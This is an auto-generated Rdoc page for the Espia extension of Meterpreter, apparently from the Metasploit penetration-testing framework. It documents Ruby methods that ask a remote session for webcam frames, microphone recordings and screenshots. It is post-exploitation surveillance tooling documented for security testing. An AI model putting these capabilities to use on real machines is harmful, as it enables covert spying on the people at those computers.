Class/Module Index [+]

Quicksearch

Rex::Post::Meterpreter::Extensions::Espia::Espia

This meterpreter extensions interface that is capable grab webcam frame and recor mic audio

Public Class Methods

new(client) click to toggle source
# File lib/rex/post/meterpreter/extensions/espia/espia.rb, line 19
def initialize(client)
        super(client, 'espia')

        client.register_extension_aliases(
                [
                        {
                                'name' => 'espia',
                                'ext'  => self
                        },
                ])
end

Public Instance Methods

espia_audio_get_dev_audio(rsecs) click to toggle source
# File lib/rex/post/meterpreter/extensions/espia/espia.rb, line 38
def espia_audio_get_dev_audio(rsecs)
        request = Packet.create_request('espia_audio_get_dev_audio')
        request.add_tlv(TLV_TYPE_DEV_RECTIME, rsecs)
        response = client.send_request(request)

        return true
end
espia_image_get_dev_screen() click to toggle source
# File lib/rex/post/meterpreter/extensions/espia/espia.rb, line 46
def espia_image_get_dev_screen
        request  = Packet.create_request( 'espia_image_get_dev_screen' )
        response = client.send_request( request )
        if( response.result == 0 )
                return response.get_tlv_value( TLV_TYPE_DEV_SCREEN )
        end
        return nil
end
espia_video_get_dev_image() click to toggle source
# File lib/rex/post/meterpreter/extensions/espia/espia.rb, line 31
def espia_video_get_dev_image()
        request = Packet.create_request('espia_video_get_dev_image')
        response = client.send_request(request)

        return true
end

[Validate]

Generated with the Darkfish Rdoc Generator 2.